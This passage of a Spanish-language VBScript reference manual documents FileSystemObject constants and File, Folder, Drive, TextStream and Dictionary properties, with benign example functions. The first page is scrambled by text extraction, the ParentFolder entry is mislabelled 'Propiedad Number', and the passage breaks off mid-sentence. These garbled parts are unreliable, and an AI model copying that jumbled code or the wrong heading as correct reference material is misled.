Sintaxis objeto. ParaLeer) EscribirLíneasEnBlancoEnArchivo = f. ForWriting. ParaEscribir.txt". f Set fso = CreateObject("Scripting.txt".OpenTextFile("c:\prueba. ParaEscribir = 2 Dim fso.WriteLine "Hola mundo" f. Si se omite.Comentarios En el siguiente ejemplo se muestra el uso del método WriteBlankLines: Function EscribirLíneasEnBlancoEnArchivo Const ParaLeer = 1. se escribe un carácter de nueva línea en el archivo. El texto que desea escribir en el archivo. ForWriting = 2 Dim fso. True) f. True) f.WriteLine([cadena]) La sintaxis del método WriteLine tiene las siguientes partes: Parte objeto Descripción Requerido. Siempre es el nombre de un objeto TextStream.com 102 .WriteBlankLines 2 f.WriteLine "VBScript es divertido" Set f = fso. Constante Valor Descripción By KarlosVid(ÊÇ) www.ReadAll End Function CONSTANTES Constantes de DriveType Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes.ReadAll End Function Método WriteLine Descripción Escribe una cadena especificada y un carácter de nueva línea en un archivo TextStream.idat.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt".txt". ForReading) EscribirLineaEnArchivo = f. debe declarar de forma explícita estas constantes en el código.WriteLine "Hola mundo" Set f = fso.OpenTextFile("c:\prueba. cadena Opcional.byethost14. Comentarios El siguiente ejemplo muestra el uso del método WriteLine: Function EscribirLineaEnArchivo Const ForReading = 1. Para VBScript.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba. f Set fso = CreateObject("Scripting.

Dependiendo del host de secuencias de comandos. junto con una breve descripción: Constantes de DriveType Define los diversos tipos de unidad disponibles en el equipo host. La unidad es un CD-ROM. Las constantes proporcionan una manera cómoda de utilizar los valores sin tener que recordar el valor en sí. Esto incluye las unidades compartidas de cualquier lugar de la red. tendrá que definir estas constantes en el código antes de poder utilizarlas. Ejemplos de este caso son Microsoft Internet Explorer y y los Servicios de Microsoft Internet Information Server (IIS). El archivo ha cambiado desde la última copia de seguridad. debe declarar de forma explícita estas constantes en el código. Sin atributos. Esto incluye todas las unidades de disco duro. Sólo lectura.byethost14. Vínculo o método abreviado. En los casos donde el host de secuencias de comandos no haga referencia explícita a SCRRUN. La unidad está fija (no extraíble). CD-ROM. Archivo de sólo lectura. Constante Normal ReadOnly Hidden System Volume Directory Archive Alias Compressed Valor 0 1 2 4 8 16 32 64 128 Descripción Archivo normal. Constantes de FileAttributte Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. etc. en caso de que cambiara alguna vez el valor de alguna de las constantes. como Fijo. etc. incluso las que son extraíbles. estas constantes pueden estar ya definidas. Esto incluye todas las unidades de disquetes y muchas otras variedades de dispositivos de almacenamiento. La unidad es un bloque de memoria de acceso aleatorio (RAM) en el equipo local que se comporta como una unidad de disco. No distingue si la unidad de CD-ROM es de sólo lectura o de lectura/escritura. Archivo oculto. Si es así. Archivo comprimido. La unidad tiene soportes extraíbles. También hace que su código sea más fácil de mentener. Extraible. Archivo del sistema. Constantes de File Attribute Define varios atributos de archivo como Oculto.com 103 .idat. La lista siguiente describe las diversas categorías de constantes que se proporcionan para FileSystemObject. Carpeta o directorio. use las constantes en cualquier parte de su código en lugar de los valores a los que representan. Para VBScript. Etiqueta del volumen de la unidad de disco. Unidades de red. Constantes de entrada y salida de archivos Define las constantes utilizadas con la entrada y salida de archivos.DLL. By KarlosVid(ÊÇ) www. Constantes de FileSystemObject FileSystemObject tiene varias constantes útiles que puede utilizar en su código.Unknown Removable Fixed Remote CDROM RAMDisk 0 1 2 3 4 5 Imposible determinar el tipo de unidad.

elArchivo. se produce un error. Constante WindowsFolder SystemFolder TemporaryFolder Valor 0 1 2 Descripción La carpeta Windows contiene los archivos instalados con el sistema operativo Windows. Comentarios La propiedad AtEndOfLine sólo se aplica a archivos TextStream que están abiertos para lectura. El siguiente código muestra el uso de la propiedad AtEndOfLine: Function LeerArchivoCompleto(especificaciondearchivo) Const ForReading = 1 Dim fso. ForReading. Sólo lectura.FileSystemObject") Set elArchivo = fso. cadenadev Set fso = CreateObject("Scripting. debe declarar de forma explícita estas constantes en el código. Constantes de SpecialFolder Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. La carpeta Temp se utiliza para almacenar archivos temporales. La ruta de acceso se encuentra en la variable de entorno TMP. Sintaxis objeto.Constantes de SpecialFolder Define las carpetas especiales disponibles en su sistema operativo. PROPIEDADES Propiedad AtEndOfLine Descripción Devuelve True si el puntero del archivo precede inmediatamente el marcador de final de archivo en un archivo TextStream.AtEndOfLine objeto siempre es el nombre de un objeto TextStream. fuentes y controladores de dispositivos.Close LeerArchivoCompleto = cadenadev End Function Propiedad AtEndOfStream By KarlosVid(ÊÇ) www.byethost14. Para VBScript. False) Do While elArchivo. La carpeta System contiene bibliotecas.OpenTextFile(especificaciondearchivo.Read(1) Loop elArchivo. de lo contrario.AtEndOfLine <> True cadenadev = elArchivo. devuelve False. en caso contrario.idat.com 104 .

Sintaxis objeto.idat.Attributes [= nuevosatributos] La propiedad Attributes tiene las siguientes partes: Parte objeto Descripción Requerido.AtEndOfStream objeto siempre es el nombre de un objeto TextStream. Si se proporciona.OpenTextFile(especificaciondearchivo.byethost14.FileSystemObject") Set elArchivo = fso. Sólo lectura. Ningún atributo está establecido.com 105 . Sintaxis objeto. El atributo es de lectura y escritura. By KarlosVid(ÊÇ) www.Close LeerArchivoCompleto = cadenadev End Function Propiedad Attributes Descripción Establece o devuelve los atributos de archivos o carpetas. en caso contrario. cadenadev Set fso = CreateObject("Scripting. se produce un error. Valores El argumento nuevosatributos puede tener cualquiera de los siguientes valores o cualquier combinación lógica de los siguientes valores: Constante Normal ReadOnly Valor 0 1 Descripción Archivo normal. elArchivo. nuevosatributos es el nuevo valor para los atributos del objeto especificado. False) Do While elArchivo. Lectura y escritura o sólo lectura.ReadLine Loop elArchivo. Comentarios La propiedad AtEndOfStream sólo se aplica a archivos TextStream que están abiertos para lectura. Siempre es el nombre de un objeto File o Folder nuevosatributos Opcional. devuelve False. según el atributo. ForReading.AtEndOfStream <> True cadenadev = elArchivo. El siguiente código muestra el uso de la propiedad AtEndOfStream: Function LeerArchivoCompleto(especificaciondearchivo) Const ForReading = 1 Dim fso. Archivo de sólo lectura.Descripción Devuelve True si el puntero del archivo está al final de un archivo TextStream. de lo contrario.

El atributo es de lectura y escritura.AvailableSpace/1024.FileSystemObject") Set d = fso. Archivo comprimido.GetDrive(fso. El siguiente código muestra el uso de la propiedad AvailableSpace: Function MostrarEspacioDisponible(unidadRuta) Dim fso.attributes = f.GetFile(especificaciondearchivo) If f. El atributo es de sólo lectura. s Set fso = CreateObject("Scripting. El atributo es de sólo lectura. f Set fso = CreateObject("Scripting.AvailableSpace objeto siempre es un objeto Drive.idat. El atributo es de lectura y escritura. 0) s = s & " Kbytes" MostrarEspacioDisponible = s End Function By KarlosVid(ÊÇ) www." Else f. Sintaxis objeto. Comentarios El valor devuelto por la propiedad AvailableSpace normalmente es igual al valor devuelto por la propiedad FreeSpace.com 106 . El atributo es de lectura y escritura.GetDriveName(unidadRuta)) s = "Drive " & UCase(unidadRuta) & " .FileSystemObject") Set f = fso. Puede haber diferencias entre ambas en sistemas que admitan cuotas.attributes + 32 AlternarBitModificado = "El bit de modificado está activado. Etiqueta de volumen de unidad de disco.attributes and 32 Then f. Archivo de sistema.Hidden System Volume Directory Archive Alias Compressed 2 4 8 16 32 64 128 Archivo oculto.byethost14. d." s = s & d. El archivo se cambió desde la última copia de seguridad.attributes . Comentarios El siguiente código muestra el uso de la propiedad Attributes con un archivo: Function AlternarBitModificado(especificaciondearchivo) Dim fso. El atributo es de sólo lectura.VolumeName & "<BR>" s = s & "Espacio disponible: " & FormatNumber(d." End If End Function Propiedad AvailableSpace Descripción Devuelve la cantidad de espacio disponible para el usuario en una unidad o recurso compartido de red especificados. Carpeta o directorio.attributes = f. El atributo es de sólo lectura. Vínculo o acceso directo.32 AlternarBitModificado = "El bit de modificado está desactivado.

ForWriting = 2 Dim fso.txt". m Set fso = CreateObject("Scripting. ForReading) m = f. Comentarios Después de escribir un carácter de nueva línea.Column objeto siempre es el nombre de un objeto TextStream.txt".Write "Hola mundo" f. Valores El argumento comparación tiene los siguientes valores: Constante Valor Descripción By KarlosVid(ÊÇ) www.OpenTextFile("c:\prueba.Close Set f = fso. En el siguiente ejemplo se muestra el uso de la propiedad Column: Function ObtenerColumna Const ForReading = 1.FileSystemObject") Set f = fso. Siempre es el nombre de un objeto Dictionary.Column End Function Propiedad CompareMode Descripción Establece y devuelve el modo de comparación para comparar claves de cadenas en un objeto Dictionary. True) f. Sintaxis objeto. ForWriting.Propiedad Column Descripción Propiedad de sólo lectura que devuelve el número de columna de la posición del carácter actual en un archivo TextStream.byethost14. pero antes de escribir cualquier otro carácter. f. Sintaxis objeto. comparación Opcional.OpenTextFile("c:\prueba.ReadLine ObtenerColumna = f. Column es igual a 1. Si se proporciona.com 107 .idat.CompareMode[ = comparación] La propiedad CompareMode tiene las siguientes partes: Parte objeto Descripción Requerido. comparación es una valor que representa el modo de comparación usado por funciones como StrComp.

Se produce un error si intenta cambiar el modo de comparación de una objeto Dictionary que ya contiene datos. Sólo lectura.Add "b". "Belgrado" d. "Cairo" a = d. "Belgrado" d.byethost14. "Cairo" d. d.Add "a".Add "c". Comentarios El siguiente código muestra el uso de la propiedad Count: Function MostrarClaves Dim a.CompareMode = vbTextCompare d. By KarlosVid(ÊÇ) www.com 108 .Add "a". "Atenas" ' Agrega algunas claves y elementos. La propiedad CompareMode usa los mismos valores que el argumento comparación para la función StrComp.vbBinaryCompare vbTextCompare 0 1 Realiza una comparación binaria.Add "c". d. "Baltimore" ' El método Add falla en esta línea porque ' la letra b ya existe en Dictionary. Comentarios Se pueden usar valores mayores que 2 para hacer referencia a comparaciones que usan identificadores locales específicos (LCID).Keys ' Obtiene las claves For i = 0 To d. Realiza una comparación de texto.Add "b". El siguiente ejemplo muestra el uso de la propiedad CompareMode: Dim d Set d = CreateObject("Scripting. Sintaxis objeto.idat.Count objeto siempre es el nombre de uno de los elementos de la lista Se aplica a. s ' Crea algunas variables Set d = CreateObject("Scripting.Count -1 ' Itera a través de la matriz s = s & a(i) & "<BR>" ' Crea la cadena de devolución. Next MostrarClaves = s End Function Propiedad DateCreated Descripción Devuelve la fecha y hora en la que se creó el archivo o carpeta especificados. "Atenas" ' Agrega algunas claves y elementos. i.Add "B". d.Dictionary") d. Sólo lectura.Dictionary") d. Propiedad Count Descripción Devuelve el número de elementos de una colección u objeto Dictionary.

Si el sistema operativo no proporciona información de hora. Comentarios El siguiente código muestra el uso de la propiedad DateLastAccessed con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f. Sólo lectura.DateCreated End Function DateLastAccessed Propiedad DateLastAccessed Descripción Devuelve la fecha y hora de cuando se tuvo acceso al archivo o carpeta por última vez.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Importante El comportamiento de este método depende del sistema operativo en el que se esté usando.Sintaxis objeto. f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso. no se devolverá nada. s Set fso = CreateObject("Scripting.byethost14.DateLastModified objeto siempre es un objeto File o Folder. f.FileSystemObject") Set f = fso.DateCreated objeto siempre es un objeto File o Folder. Propiedad DateLastModified Descripción Devuelve la fecha y hora cuando se modificó por última vez el archivo o carpeta especificado.GetFile(especificaciondearchivo) s = UCase(especificaciondearchivo) & "<BR>" s = s & "Creado: " & f.com 109 .DateLastAccessed objeto siempre es un objeto File o Folder. Sintaxis objeto. Sintaxis objeto.idat.GetFile(especificaciondearchivo) MostrarInformacionDeArchivo = "Creado: " & f. Comentarios El siguiente código muestra el uso de la propiedad DateCreated con un archivo: Function MostrarInformacionDeArchivo(especificaciondearchivo) Dim fso. By KarlosVid(ÊÇ) www. Sólo lectura.DateCreated & "<BR>" s = s & "Último acceso: " & f.

Sintaxis objeto. f. por ejemplo.DateCreated & "<BR>" s = s & "Último acceso: " & f. Comentarios La propiedad DriveLetter devuelve una cadena de longitud cero ("") si la unidad especificada no está asociada con una letra de unidad.DriveLetter objeto siempre es un objeto Drive.FileSystemObject") Set f = fso.Comentarios El siguiente código muestra el uso de la propiedad DateLastModified con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso. By KarlosVid(ÊÇ) www.Name & " on Drive " & UCase(f. f. s Set fso = CreateObject("Scripting.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f. Sintaxis objeto.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Propiedad DriveLetter Descripción Devuelve la letra de unidad de una unidad física local o de un recurso de red compartido.Drive) & "<BR>" s = s & "Creado: " & f. Comentarios El siguiente código muestra el uso de la propiedad Drive: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso.GetFile(especificaciondearchivo) s = UCase(especificaciondearchivo) & "<BR>" s = s & "Creado: " & f.idat.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.GetFile(especificaciondearchivo) s = f. s Set fso = CreateObject("Scripting.DateCreated & "<BR>" s = s & "Último acceso: " & f.FileSystemObject") Set f = fso.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Propiedad Drive Descripción Devuelve la letra de la unidad en la que reside el archivo o carpeta especificado. Sólo lectura.Drive objeto siempre es un objeto File o Folder. un recurso de red compatido que no se asignó a una letra de unidad.com 110 . Sólo lectura.byethost14.

d. s. Sintaxis objeto." s = s & d. s Set fso = CreateObject("Scripting.GetDriveName(unidadRuta)) s = "Unidad " & d.Drives For Each d in dc n = "" s = s & d.IsReady Then n = d.Next como se muestra en el siguiente código: Function MostrarListaDeUnidades Dim fso.Drives objeto siempre es un objeto FileSystemObject.FileSystemObject") Set d = fso.DriveType By KarlosVid(ÊÇ) www. Puede iterar los miembros de la colección Drives mediante una instrucción For Each.byethost14. n Set fso = CreateObject("Scripting.DriveLetter & " .DriveType = 3 Then n = d.El siguiente código muestra el uso de la propiedad DriveLetter: Function MostrarLetraDeUnidad(unidadRuta) Dim fso.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d.idat.com 111 .VolumeName End If s = s & n & "<BR>" Next MostrarListaDeUnidades = s End Function Propiedad DriveType Descripción Devuelve un valor que indica el tipo de una unidad especificada. Sintaxis objeto.ShareName ElseIf d.DriveLetter & ": ..FreeSpace/1024.GetDrive(fso.. dc." If d. d. 0) s = s & " Kbytes" MostrarLetraDeUnidad = s End Function Propiedad Drives Descripción Devuelve una colección Drives que consta de todos los objetos Drive disponibles en la máquina local.FileSystemObject") Set dc = fso. Comentarios Las unidades de disco removibles no necesitan tener un disco insertado para que aparezcan en la colección Drives.

FileSystemObject") Set f = fso. d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD ROM" Case 5: t = "Disco RAM" End Select MostrarTipoDeUnidad = "Unidad " & d.byethost14. f.GetDrive(unidadruta) Select Case d.objeto siempre es un objeto Drive. s Set fso = CreateObject("Scripting. f1.com 112 .idat.name s = s & "<BR>" Next MostrarListaDeArchivos = s End Function Propiedad FileSystem Descripción Devuelve el tipo de sistema de archivos que se está usando en la unidad especificada. fc.Files objeto siempre es un objeto Folder. t Set fso = CreateObject("Scripting.GetFolder(especificaciondecarpeta) Set fc = f.Files For Each f1 in fc s = s & f1. Sintaxis objeto.DriveLetter & ": . Comentarios El siguiente código muestra el uso de la propiedad Files: Function MostrarListaDeArchivos(especificaciondecarpeta) Dim fso. Sintaxis objeto. incluidos los que tienen establecidos los atributos oculto y sistema." & t End Function Propiedad Files Descripción Devuelve una colección Files que consta de todos los objetos File contenidos en la carpeta especificada. Comentarios El siguiente código muestra el uso de la propiedad DriveType: Function MostrarTipoDeUnidad(unidadruta) Dim fso.FileSystem By KarlosVid(ÊÇ) www.FileSystemObject") Set d = fso.

objeto siempre es un objeto Drive.FreeSpace objeto siempre es un objeto Drive. d. Sintaxis objeto. NTFS y CDFS. 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function Propiedad IsReady Descripción Devuelve True si está lista la unidad especificada.IsReady objeto siempre es un objeto Drive.d Set fso = CreateObject("Scripting.byethost14." s = s & d. El siguiente código muestra el uso de la propiedad FreeSpace: Function MostrarEspacioLibre(unidadRuta) Dim fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " . Comentarios El valor devuelto por la propiedad FreeSpace normalmente es el mismo que el valor devuelto por la propiedad AvailableSpace.FreeSpace/1024. Pueden producirse diferencias entre los dos. en caso contrario.com 113 . s Set fso = CreateObject("Scripting.FileSystem End Function Propiedad FreeSpace Descripción Devuelve la cantidad de espacio disponible para el usuario en la unidad o recurso compartido de red especificado.GetDrive(fso.FileSystemObject") Set d = fso. By KarlosVid(ÊÇ) www. Comentarios Los tipos devueltos disponibles son FAT. Sólo lectura. El siguiente código muestra el uso de la propiedad FileSystem: Function MostrarTipoDeSistemaDeArchivos(especificaciondeunidad) Dim fso. devuelve False. Sintaxis objeto.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d. en sistemas que admiten cuotas.FileSystemObject") Set d = fso.idat.GetDrive(especificaciondeunidad) MostrarTipoDeSistemaDeArchivos = d.

Comentarios Para unidades de disco removible y unidades de CD-ROM.GetDrive(unidadruta) Select Case d." Else s = s & "<BR>" & "Drive is not Ready.byethost14. f.com 114 .ParentFolder n=n+1 Loop MostrarNivelProfundidad = "La carpeta especificada está anidada " & n & " niveles.FileSystemObject") Set d = fso.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD-ROM" Case 5: t = "Disco RAM" End Select s = "Unidad " & d.IsRootFolder Then MostrarNivelProfundidad = "La carpeta especificada es la carpeta raíz. s. d. n Set fso = CreateObject("Scripting." & t If d.IsRootFolder objeto siempre es un objeto Folder.DriveLetter & ": ." End If MostrarInformacionDeUnidad = s End Function Propiedad IsRootFolder Descripción Devuelve True si la carpeta especificada es la carpeta raíz. Comentarios El siguiente código muestra el uso de la propiedad IsRootFolder: Function MostrarNivelProfundidad(especificacionderuta) Dim fso. IsReady sólo devuelve True cuando el disco adecuado está insertado y listo para acceso.IsRootFolder Set f = f.FileSystemObject") Set f = fso. Sintaxis objeto." End If End Function Propiedad Item By KarlosVid(ÊÇ) www.GetFolder(especificacionderuta) If f. El siguiente código muestra el uso de la propiedad IsReady: Function MostrarInformacionDeUnidad(unidadruta) Dim fso. en caso contrario devuelve False." Else Do Until f.idat. t Set fso = CreateObject("Scripting.IsReady Then s = s & "<BR>" & "Drive is Ready.

se crea una nueva clave y su elemento correspondiente se deja vacío. Nuevo valor que reemplaza a la clave especificada.Add "a". Sintaxis objeto. no tiene aplicación para colecciones. Si se proporciona. se crea una nueva clave con nuevoelemento especificado. Comentarios By KarlosVid(ÊÇ) www.byethost14. Sintaxis objeto. nuevoelemento es el nuevo valor asociado a la clave especificada. Para colecciones. El siguiente ejemplo muestra el uso de la propiedad Item: Function EjemploDeItem Dim d ' Crea algunas variables Set d = CreateObject("Scripting. Requerido. "Belgrado" d. Sólo se usa para el objeto Dictionary. Comentarios Si no se encuentra clave al cambiar un elemento.Add "b". Clave asociada al elemento recuperado o agregado. nuevoelemento Opcional. devuelve un elemento basado en la clave especificada. Lectura y escritura. End Function Propiedad Key Descripción Establece una clave en un objeto Dictionary. "Cairo" EjemploDeItem = d.Add "c".com 115 .Item("c")' Obtiene el elemento. Siempre es el nombre de una colección u objeto Dictionary.Item(clave) [= nuevoelemento] La propiedad Item tiene las siguientes partes: Parte objeto clave Descripción Requerido.Descripción Establece o devuelve un elemento para una clave especificada en un objeto Dictionary.Key(clave) = nuevaclave La propiedad Key tiene las siguientes partes: Parte objeto clave nuevaclave Descripción Requerido. Si no se encuentra clave al intentar devolver un elemento existente. "Atenas" ' Agrega algunas claves y elementos d. Requerido. Requerido. Valor de clave que se va a cambiar.idat. Siempre es el nombre de un objeto Dictionary.Dictionary") d.

Add "b". End Function Propiedad Line Descripción Propiedad de sólo lectura que devuelve el número de línea actual de un archivo TextStream.Item("d") ' Devuelve el elemento asociado. ForReading) ra = f.Name [= nuevonombre] La propiedad Name tiene las siguientes partes: Parte Descripción By KarlosVid(ÊÇ) www. se produce un error en tiempo de ejecución. Sintaxis objeto. ra Set fso = CreateObject("Scripting. Sintaxis objeto.Line End Function Propiedad Name Descripción Establece o devuelve el nombre de un archivo o carpeta especificados.Dictionary") d. El siguiente ejemplo muestra el uso de la propiedad Line: Function ObtenerLinea Const ForReading = 1.Key("c") = "d" ' Establece la clave para "c" como "d". Line es igual a 1.Line objeto siempre es el nombre de un objeto TextStream. Comentarios Después de abrir un archivo y antes de escribir nada. "Cairo" d. Set d = CreateObject("Scripting.com 116 .FileSystemObject") Set f = fso.OpenTextFile("c:\prueba. d. EjemploDeDic = d. True) f. ForWriting. ForWriting = 2 Dim fso. El siguiente ejemplo muestra el uso de la propiedad Key: Function EjemploDeDic Dim d ' Crea algunas variables.OpenTextFile("c:\prueba.ReadAll ObtenerLinea = f. f. Lectura y escritura.txt". "Belgrado" d. "Atenas" ' Agrega algunas claves y elementos.Add "c".idat.byethost14.Write "Hola mundo" & vbCrLf & "VB Script is fun!" & vbCrLf Set f = fso.txt".Si no se encuentra clave al cambiar una clave.Add "a".

ParentFolder objeto siempre es un objeto File o Folder. Comentarios By KarlosVid(ÊÇ) www.objeto nuevonombre Requerido.GetFile(especificaciondearchivo) s = f.ParentFolder) & "<BR>" s = s & "Creado: " & f. Siempre es el nombre de un objeto File o Folder Opcional. Si se proporciona. s Set fso = CreateObject("Scripting. Sintaxis objeto. carpeta o unidad especificados.DateCreated & "<BR>" s = s & "Último acceso: " & f. f. nuevonombre es el nuevo nombre del objeto especificado.Path objeto siempre es un objeto File.com 117 .FileSystemObject") Set f = fso. Sólo lectura. Sintaxis objeto.GetFile(especificaciondearchivo) s = UCase(f.Drive) & "<BR>" s = s & "Creado: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f. Comentarios El siguiente código muestra el uso de la propiedad ParentFolder con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Propiedad Path Descripción Devuelve la ruta para un archivo. f.Name) & " in " & UCase(f.Name & " on Drive " & UCase(f. s Set fso = CreateObject("Scripting.byethost14.DateCreated & "<BR>" s = s & "Último acceso: " & f. Comentarios El siguiente código muestra el uso de la propiedad Name: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso. Folder o Drive.idat.FileSystemObject") Set f = fso.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Propiedad Number Descripción Devuelve el objeto de carpeta para la carpeta principal del archivo o carpeta especificados.

f Set fso = CreateObject("Scripting. Por ejemplo. Sintaxis objeto.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Propiedad RootFolder Descripción Devuelve un objeto Folder que representa la carpeta raíz de una unidad especificada. Sólo lectura. El siguiente código muestra el uso de la propiedad Path con un objeto File: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso. d.byethost14.DateCreated & "<BR>" s = s & "Último acceso: " & f. no C:\.GetFile(especificaciondearchivo) s = UCase(f. Sintaxis objeto.com 118 .idat. Comentarios By KarlosVid(ÊÇ) www.SerialNumber objeto siempre es un objeto Drive.Path) & "<BR>" s = s & "Creado: " & f. El siguiente ejemplo muestra el uso de la propiedad RootFolder: Function MostrarCarpetaRaiz(especificaciondeunidad) Dim fso.FileSystemObject") Set f = fso.GetDrive(especificaciondeunidad) MostrarCarpetaRaiz = f. la unidad raíz no está incluida.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.RootFolder End Function Propiedad SerialNumber Descripción Devuelve el número de seria decimal que se usa para identificar de forma única un volumen de disco. f. s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso. la ruta para la unidad C es C:.Para letras de unidades.RootFolder objeto siempre es un objeto Drive. Comentarios Puede tener acceso a todos los archivos y carpetas contenidos en la unidad mediante el objeto Folder devuelto.

3.com 119 . El siguiente código muestra el uso de la propiedad SerialNumber: Function MostrarInformacionDeUnidad(unidadruta) Dim fso.GetDriveName(fso." & d.FileSystemObject") Set d = fso.GetDrive(fso. El siguiente código muestra el uso de la propiedad ShareName: Function MostrarInformacionDeUnidad(unidadruta) Dim fso." & t s = s & "<BR>" & "SN: " & d. d.byethost14.DriveLetter & ": .ShortName By KarlosVid(ÊÇ) www.GetAbsolutePathName(unidadruta))) Select Case d.Puede usar la propiedad SerialNumber para asegurarse de que está insertado el disco correcto en una unidad de discos removibles. Sintaxis objeto.ShareName objeto siempre es un objeto Drive. s.idat.ShareName End Function Propiedad ShortName Descripción Devuelve el nombre corto usado por los programas que requieren la convención anterior de asignación de nombres 8. d Set fso = CreateObject("Scripting.GetAbsolutePathName(unidadruta))) MostrarInformacionDeUnidad = "Unidad " & d.FileSystemObject") Set d = fso.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD-ROM" Case 5: t = "Disco RAM" End Select s = "Unidad " & d. Comentarios Si objeto no es una unidad de red.GetDrive(fso. t Set fso = CreateObject("Scripting.DriveLetter & ": . Sintaxis objeto.SerialNumber MostrarInformacionDeUnidad = s End Function Propiedad ShareName Descripción Devuelve el nombre de recurso de red compartido para una unidad especificada. la propiedad ShareName devuelve una cadena de longitud cero ("").GetDriveName(fso.

Para carpetas.ShortName MostrarNombreCorto = s End Function Propiedad ShortPath Descripción Devuelve la ruta corta usada por programas que requieren la convención de asignación de nombres 8. del archivo especificado. Sintaxis objeto. s Set fso = CreateObject("Scripting.GetFile(especificaciondearchivo) s = "El nombre corto de " & UCase(f.Name) & "<BR>" s = s & "es: " & f. s Set fso = CreateObject("Scripting. de todos los archivos y subcarpetas contenidos en la carpeta.objeto siempre es un objeto File o Folder. f.Name) & "<BR>" s = s & "es: " & f. Comentarios El siguiente código muestra el uso de la propiedad ShortName con un objeto File: Function MostrarRutaCorta(especificaciondearchivo) Dim fso. s Set fso = CreateObject("Scripting.Size objeto siempre es un objeto File o Folder. devuelve el tamaño en bytes.byethost14.FileSystemObject") Set f = fso.ShortPath objeto siempre es un objeto File o Folder. f. Comentarios El siguiente código muestra el uso de la propiedad Size con un objeto Folder: Function MostrarTamanoDeCarpeta(especificaciondearchivo) Dim fso.3. Comentarios El siguiente código muestra el uso de la propiedad ShortName con un objeto File: Function MostrarNombreCorto(especificaciondearchivo) Dim fso.FileSystemObject") By KarlosVid(ÊÇ) www.idat.com 120 . f.GetFile(especificaciondearchivo) s = "La ruta corta para " & UCase(f.ShortPath MostrarRutaCorta = s End Function Propiedad Size Descripción Para archivos. Sintaxis objeto.FileSystemObject") Set f = fso. devuelve el tamaño en bytes.

FileSystemObject") Set f = fso.TotalSize/1024. Sintaxis objeto.TotalSize objeto siempre es un objeto Drive." MostrarTamanoDeCarpeta = s End Function Propiedad SubFolders Descripción Devuelve una colección Folders que consta de todas las carpetas contenidas en una carpeta especificada.AvailableSpace/1024.name s = s & "<BR>" Next MostrarListaDeCarpetas = s End Function Propiedad TotalSize Descripción Devuelve el espacio total en bytes. Comentarios El siguiente código muestra el uso de la propiedad TotalSize: Function MostrarInformacionDeEspacio(unidadruta) Dim fso.SubFolders objeto siempre es un objeto Folder.FileSystemObject") Set d = fso.idat. 0) & " Kbytes" s = s & vbCrLf s = s & "Disponible: " & FormatNumber(d. de una unidad o de un recurso compartido de red.Set f = fso. sf Set fso = CreateObject("Scripting. s. incluidas las que tienen establecidos los atributos oculto y sistema.byethost14.GetDrive(fso. s Set fso = CreateObject("Scripting.DriveLetter & ":" s = s & vbCrLf s = s & "Tamaño total: " & FormatNumber(d.size & " bytes.SubFolders For Each f1 in sf s = s & f1.GetAbsolutePathName(unidadruta))) s = "Drive " & d.GetFolder(especificaciondecarpeta) Set sf = f.GetDriveName(fso. d. Sintaxis objeto.GetFolder(especificaciondearchivo) s = UCase(f. Comentarios El siguiente código muestra el uso de la propiedad SubFolders: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso. f1. f.com 121 . 0) & " Kbytes" MostrarInformacionDeEspacio = s By KarlosVid(ÊÇ) www.Name) & " uses " & f.

Siempre es el nombre de un objeto Drive. Comentarios El siguiente código muestra el uso de la propiedad VolumeName: Function MostrarInformacionDeVolumen(unidadruta) Dim fso." & d. para los archivos que terminan en .GetDrive(fso. Function MostrarTipoDeCarpeta(especificaciondearchivo) Dim fso.VolumeName [= nuevonombre] La propiedad VolumeName tiene las siguientes partes: Parte objeto nuevonombre Descripción Requerido.FileSystemObject") Set d = fso. d. s Set fso = CreateObject("Scripting.byethost14.Type MostrarTipoDeCarpeta = s End Function Propiedad VolumeName Descripción Establece o devuelve el nombre de volumen de la unidad especificada. Sintaxis objeto.com 122 . Opcional.VolumeName MostrarInformacionDeVolumen = s End Function By KarlosVid(ÊÇ) www. Lectura y escritura.DriveLetter & ": . Comentarios El siguiente código muestra el uso de la propiedad Type para devolver un tipo de carpeta. En este ejemplo.FileSystemObject") Set f = fso.Name) & " is a " & f. Por ejemplo.Type objeto siempre es un objeto File o Folder. s Set fso = CreateObject("Scripting. Sintaxis objeto. intente proporcionar la ruta de la Papelera de reciclaje u otro identificador único de carpeta al procedimiento.GetAbsolutePathName(unidadruta))) s = "Unidad " & d.GetFolder(especificaciondearchivo) s = UCase(f. se 